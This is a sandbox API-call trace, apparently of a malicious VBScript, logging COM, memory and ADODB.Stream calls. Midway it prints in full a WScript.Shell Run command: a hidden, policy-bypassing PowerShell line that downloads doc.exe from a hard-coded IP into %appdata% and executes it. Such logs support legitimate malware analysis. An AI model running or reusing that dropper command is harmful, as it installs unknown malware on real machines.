This=0x83fd2c8, bstrName="sdg3rh4erhrfdgveh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.179] GetCurrentThreadId () returned 0xd44 [0073.179] IUnknown:Release (This=0x1197760) returned 0x8 [0073.179] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.179] malloc (_Size=0x804) returned 0x8790008 [0073.179] ??2@YAPAXI@Z () returned 0x844b458 [0073.180] ??3@YAXPAX@Z () returned 0x1 [0073.180] malloc (_Size=0x204) returned 0x8790818 [0073.180] ??2@YAPAXI@Z () returned 0x11291c0 [0073.180] free (_Block=0x83d08e0) [0073.180] free (_Block=0x8790008) [0073.180] ??3@YAXPAX@Z () returned 0xffff0001 [0073.180] free (_Block=0x1197880) [0073.180] free (_Block=0x8790818) [0073.180] free (_Block=0x83d9f10) [0073.180] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.180] ??2@YAPAXI@Z () returned 0x83fd610 [0073.180] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.180] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.180] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.180] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="ReadText", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=19) returned 0x0 [0073.180] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.180] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.180] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=19, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x83d66a8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="doc.exe", varVal2=0x0), pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0073.180] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.180] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0073.180] ??3@YAXPAX@Z () returned 0x840001 [0073.180] ??3@YAXPAX@Z () returned 0x4a0001 [0073.181] ??3@YAXPAX@Z () returned 0xffff0001 [0073.181] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.181] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.181] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="fhekegkhukrehrekugh", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.181] GetCurrentThreadId () returned 0xd44 [0073.181] IUnknown:Release (This=0x1197760) returned 0x8 [0073.181] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.181] malloc (_Size=0x804) returned 0x8790008 [0073.181] ??2@YAPAXI@Z () returned 0x844b458 [0073.181] ??3@YAXPAX@Z () returned 0x1 [0073.181] ??2@YAPAXI@Z () returned 0x11291c0 [0073.181] free (_Block=0x83d08e0) [0073.181] free (_Block=0x8790008) [0073.181] ??3@YAXPAX@Z () returned 0xffff0001 [0073.181] free (_Block=0x1197880) [0073.181] free (_Block=0x8790818) [0073.181] free (_Block=0x83d9f10) [0073.181] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.181] ??2@YAPAXI@Z () returned 0x83fd610 [0073.181] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.181] _wcsicmp (_String1="fffffffffff", _String2="BytesToStr") returned 4 [0073.182] _wcsicmp (_String1="BytesToStr", _String2="BytesToStr") returned 0 [0073.182] ??3@YAXPAX@Z () returned 0x840001 [0073.182] ??3@YAXPAX@Z () returned 0x4a0001 [0073.182] ??3@YAXPAX@Z () returned 0xffff0001 [0073.182] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14bbb0 | out: ppvObject=0x14bbb0*=0x1197760) returned 0x0 [0073.182] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bbcc | out: pid=0x14bbcc*=1358888) returned 0x80020006 [0073.182] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="pwwfowufgwyhgw", grfdex=0x8, pid=0x14bb24 | out: pid=0x14bb24*=-1) returned 0x80020006 [0073.182] GetCurrentThreadId () returned 0xd44 [0073.182] IUnknown:Release (This=0x1197760) returned 0x8 [0073.183] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.183] malloc (_Size=0x804) returned 0x8790008 [0073.183] ??2@YAPAXI@Z () returned 0x844b458 [0073.183] ??3@YAXPAX@Z () returned 0x1 [0073.183] ??2@YAPAXI@Z () returned 0x11291c0 [0073.183] free (_Block=0x83d08e0) [0073.183] free (_Block=0x8790008) [0073.183] ??3@YAXPAX@Z () returned 0xffff0001 [0073.183] free (_Block=0x1197880) [0073.183] free (_Block=0x8790818) [0073.183] free (_Block=0x83d9df8) [0073.183] ??2@YAPAXI@Z () returned 0x86a0bf0 [0073.183] ??2@YAPAXI@Z () returned 0x83fd610 [0073.183] IUnknown:AddRef (This=0x1197760) returned 0x9 [0073.183] _wcsicmp (_String1="baax", _String2="BytesToStr") returned -24 [0073.183] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b988 | out: ppvObject=0x14b988*=0x0) returned 0x80004002 [0073.183] Stream:IDispatch:GetIDsOfNames (in: This=0x962b320, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14b98c*="Close", cNames=0x1, lcid=0x409, rgDispId=0x14b9a4 | out: rgDispId=0x14b9a4*=11) returned 0x0 [0073.183] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0073.183] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14b990 | out: ppvObject=0x14b990*=0x0) returned 0x80004002 [0073.183] Stream:IDispatch:Invoke (in: This=0x962b320, dispIdMember=11, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938, puArgErr=0x14b97c | out: pDispParams=0x14b95c*(rgvarg=0x83d66a8, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14b938*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14b97c*=0x962b320) returned 0x0 [0073.183] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0073.183] ??3@YAXPAX@Z () returned 0x840001 [0073.184] ??3@YAXPAX@Z () returned 0x4a0001 [0073.184] ??3@YAXPAX@Z () returned 0xffff0001 [0073.184] free (_Block=0x1197838) [0073.184] free (_Block=0x8444238) [0073.184] free (_Block=0x8444028) [0073.184] free (_Block=0x83d9bc8) [0073.184] ??3@YAXPAX@Z () returned 0xc80001 [0073.184] ??3@YAXPAX@Z () returned 0x320001 [0073.185] free (_Block=0x11977f0) [0073.185] free (_Block=0x83dbdc0) [0073.185] free (_Block=0x83dbbb0) [0073.185] free (_Block=0x83d9ce0) [0073.185] ??3@YAXPAX@Z () returned 0xb60001 [0073.185] ??3@YAXPAX@Z () returned 0x360001 [0073.185] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0073.185] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="varryb", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0073.185] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="varryb", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0073.185] GetCurrentThreadId () returned 0xd44 [0073.185] IUnknown:Release (This=0x1197760) returned 0x6 [0073.185] ??3@YAXPAX@Z () returned 0x7f0001 [0073.185] ??3@YAXPAX@Z () returned 0x200001 [0073.185] ??3@YAXPAX@Z () returned 0x740001 [0073.185] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0073.186] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="vardat", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0073.186] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="vardat", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0073.186] GetCurrentThreadId () returned 0xd44 [0073.186] IUnknown:Release (This=0x1197760) returned 0x5 [0073.186] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0073.186] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="varcss", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0073.186] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="varcss", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0073.186] GetCurrentThreadId () returned 0xd44 [0073.186] IUnknown:Release (This=0x1197760) returned 0x5 [0073.186] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0073.186] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="oo9i878ui23", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0073.186] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="oo9i878ui23", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0073.186] GetCurrentThreadId () returned 0xd44 [0073.186] IUnknown:Release (This=0x1197760) returned 0x5 [0073.187] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0073.188] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="varf", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0073.188] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="varf", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0073.188] GetCurrentThreadId () returned 0xd44 [0073.188] IUnknown:Release (This=0x1197760) returned 0x5 [0073.188] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.188] malloc (_Size=0x804) returned 0x8790008 [0073.188] ??2@YAPAXI@Z () returned 0x844b458 [0073.188] ??3@YAXPAX@Z () returned 0x1 [0073.188] malloc (_Size=0x204) returned 0x8790818 [0073.188] ??2@YAPAXI@Z () returned 0x1129260 [0073.188] free (_Block=0x83d08e0) [0073.189] free (_Block=0x8790008) [0073.189] ??3@YAXPAX@Z () returned 0x740001 [0073.189] free (_Block=0x11977f0) [0073.189] free (_Block=0x8790818) [0073.189] free (_Block=0x83d9ce0) [0073.189] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.189] ??2@YAPAXI@Z () returned 0x83fd5e8 [0073.189] IUnknown:AddRef (This=0x1197760) returned 0x6 [0073.189] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x14c06c | out: lpclsid=0x14c06c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0073.189] SysStringLen (param_1=0x0) returned 0x0 [0073.189] CoGetClassObject (in: rclsid=0x14c06c*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14c05c | out: ppv=0x14c05c*=0x1112ae8) returned 0x0 [0073.189] WshShell:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14c058 | out: ppvObject=0x14c058*=0x0) returned 0x80004002 [0073.189] WshShell:IClassFactory:CreateInstance (in: This=0x1112ae8, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c060 | out: ppvObject=0x14c060*=0x86a0c04) returned 0x0 [0073.189] WshShell:IUnknown:Release (This=0x1112ae8) returned 0x0 [0073.189] WshShell:IUnknown:QueryInterface (in: This=0x86a0c04, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14c024 | out: ppvObject=0x14c024*=0x0) returned 0x80004002 [0073.189] WshShell:IUnknown:QueryInterface (in: This=0x86a0c04, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c014 | out: ppvObject=0x14c014*=0x86a0bf0) returned 0x0 [0073.190] WshShell:IUnknown:AddRef (This=0x86a0bf0) returned 0x3 [0073.190] WshShell:IUnknown:Release (This=0x86a0bf0) returned 0x2 [0073.190] WshShell:IUnknown:Release (This=0x86a0c04) returned 0x1 [0073.190] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c038 | out: ppvObject=0x14c038*=0x1197760) returned 0x0 [0073.190] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="objShell", grfdex=0x8, pid=0x14c054 | out: pid=0x14c054*=1360048) returned 0x80020006 [0073.190] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="objShell", grfdex=0x8, pid=0x14bfac | out: pid=0x14bfac*=-1) returned 0x80020006 [0073.190] GetCurrentThreadId () returned 0xd44 [0073.190] IUnknown:Release (This=0x1197760) returned 0x6 [0073.190] WshShell:IUnknown:AddRef (This=0x86a0bf0) returned 0x2 [0073.190] ??3@YAXPAX@Z () returned 0x7f0001 [0073.190] ??3@YAXPAX@Z () returned 0x200001 [0073.190] ??3@YAXPAX@Z () returned 0xffff0001 [0073.190] IUnknown:QueryInterface (in: This=0x1197760, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c324 | out: ppvObject=0x14c324*=0x1197760) returned 0x0 [0073.191] IDispatchEx:GetDispId (in: This=0x1197760, bstrName="tohan", grfdex=0x8, pid=0x14c340 | out: pid=0x14c340*=1360796) returned 0x80020006 [0073.191] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd2c8, bstrName="tohan", grfdex=0x8, pid=0x14c298 | out: pid=0x14c298*=-1) returned 0x80020006 [0073.191] GetCurrentThreadId () returned 0xd44 [0073.191] IUnknown:Release (This=0x1197760) returned 0x5 [0073.191] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.191] malloc (_Size=0x804) returned 0x8790008 [0073.191] ??2@YAPAXI@Z () returned 0x844b458 [0073.191] ??3@YAXPAX@Z () returned 0x1 [0073.191] ??2@YAPAXI@Z () returned 0x1129260 [0073.191] free (_Block=0x83d08e0) [0073.191] free (_Block=0x8790008) [0073.191] ??3@YAXPAX@Z () returned 0xffff0001 [0073.191] free (_Block=0x11977f0) [0073.191] free (_Block=0x8790818) [0073.191] free (_Block=0x83d9ce0) [0073.191] ??2@YAPAXI@Z () returned 0x86a0b90 [0073.191] ??2@YAPAXI@Z () returned 0x83fd5e8 [0073.191] IUnknown:AddRef (This=0x1197760) returned 0x6 [0073.191] WshShell:IUnknown:QueryInterface (in: This=0x86a0bf0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c0fc | out: ppvObject=0x14c0fc*=0x0) returned 0x80004002 [0073.191] WshShell:IDispatch:GetIDsOfNames (in: This=0x86a0bf0, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x14c100*="run", cNames=0x1, lcid=0x409, rgDispId=0x14c118 | out: rgDispId=0x14c118*=1000) returned 0x0 [0073.209] WshShell:IUnknown:AddRef (This=0x86a0bf0) returned 0x2 [0073.209] WshShell:IUnknown:QueryInterface (in: This=0x86a0bf0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x14c104 | out: ppvObject=0x14c104*=0x0) returned 0x80004002 [0073.209] WshShell:IDispatch:Invoke (in: This=0x86a0bf0, dispIdMember=1000, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x14c0d0*(rgvarg=([0]=0x83d6738*(varType=0xb, wReserved1=0x14, wReserved2=0xb954, wReserved3=0x14, varVal1=0x6ac0000, varVal2=0x83d9e50), [1]=0x83d6748*(varType=0x2, wReserved1=0x14, wReserved2=0x6788, wReserved3=0x83d, varVal1=0x6b10000, varVal2=0x87e491c), [2]=0x83d6758*(varType=0x400c, wReserved1=0x6690, wReserved2=0x7764, wReserved3=0x119, varVal1=0x87e5578*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','%appdata%\\doc.exe');Start-Process '%appdata%\\doc.exe'\"", varVal2=0x6e8), varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac, puArgErr=0x14c0f0 | out: pDispParams=0x14c0d0*(rgvarg=([0]=0x83d6738*(varType=0xb, wReserved1=0x14, wReserved2=0xb954, wReserved3=0x14, varVal1=0x6ac0000, varVal2=0x83d9e50), [1]=0x83d6748*(varType=0x2, wReserved1=0x14, wReserved2=0x6788, wReserved3=0x83d, varVal1=0x6b10000, varVal2=0x87e491c), [2]=0x83d6758*(varType=0x400c, wReserved1=0x6690, wReserved2=0x7764, wReserved3=0x119, varVal1=0x87e5578*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','%appdata%\\doc.exe');Start-Process '%appdata%\\doc.exe'\"", varVal2=0x6e8), varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x14c0ac*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x14c0f0*=0x86a0bf0) returned 0x0 [0076.555] WshShell:IUnknown:Release (This=0x86a0bf0) returned 0x1 [0076.556] ??3@YAXPAX@Z () returned 0x930001 [0076.556] ??3@YAXPAX@Z () returned 0x200001 [0076.556] ??3@YAXPAX@Z () returned 0x1 [0076.557] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.557] malloc (_Size=0x804) returned 0x83cc7a0 [0076.557] ??2@YAPAXI@Z () returned 0x844b458 [0076.557] ??3@YAXPAX@Z () returned 0x1 [0076.557] malloc (_Size=0x204) returned 0x8444028 [0076.557] ??2@YAPAXI@Z () returned 0x1129260 [0076.557] ??3@YAXPAX@Z () returned 0xffff0001 [0076.557] free (_Block=0x11977f0) [0076.557] free (_Block=0x8444028) [0076.557] free (_Block=0x83d9ce0) [0076.557] ??2@YAPAXI@Z () returned 0x86a0b90 [0076.557] ??2@YAPAXI@Z () returned 0x83fd5e8 [0076.557] IUnknown:AddRef (This=0x1197760) returned 0x6 [0076.557] CLSIDFromProgIDEx (in: lpszProgID="adodb.stream", lpclsid=0x14c06c | out: lpclsid=0x14c06c*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0076.560] SysStringLen (param_1=0x0) returned 0x0 [0076.560] CoGetClassObject (in: rclsid=0x14c06c*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x14c05c | out: ppv=0x14c05c*=0x962b2d0) returned 0x0 [0076.561] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x14c058 | out: ppvObject=0x14c058*=0x0) returned 0x80004002 [0076.561] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14c060 | out: ppvObject=0x14c060*=0x962bad0) returned 0x0 [0076.561] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0076.561] Stream:IUnknown:QueryInterface (in: This=0x962bad0, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x14c024 | out: ppvObject=0x14c024*=0x962bb00) returned 0x0 [0076.561] ??2@YAPAXI@Z () returned 0x1112ae8 [0076.561] Stream:IObjectWithSite:SetSite (This=0x962bb00, pUnkSite=0x1112ae8) returned 0x0 [0076.561] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bf6c | out: ppvObject=0x14bf6c*=0x0) returned 0x80004002 [0076.561] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bf5c | out: ppvObject=0x14bf5c*=0x0) returned 0x80004002 [0076.561] DOMDocument:IUnknown:AddRef (This=0x1112ae8) returned 0x2 [0076.561] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x14bfbc | out: ppvObject=0x14bfbc*=0x0) returned 0x80004002 [0076.561] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ae8, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x14bfb8 | out: ppvObject=0x14bfb8*=0x1112ae8) returned 0x0 [0076.561] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ae8, 